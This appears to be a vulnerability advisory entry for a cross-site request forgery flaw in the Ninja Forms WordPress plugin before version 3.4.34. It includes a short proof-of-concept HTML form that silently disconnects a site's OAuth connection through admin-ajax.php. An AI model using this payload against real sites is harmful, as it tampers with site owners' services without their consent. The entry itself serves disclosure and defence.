Ninja Forms < 3.4.34 - CSRF to OAuth Service Disconnection

2021-02-1600:00:00

Chloe Chamberland

143

ninja forms

csrf

oauth

disconnection

vulnerability

exploit

EPSS

0.001

Percentile

39.5%

JSON

The wp_ajax_nf_oauth_disconnect from the plugin had no nonce protection making it possible for attackers to craft a request to disconnect a site’s OAuth connection.

<html>
  <body>
    <form action="https://[URL_HERE]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="nf&#95;oauth&#95;disconnect" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>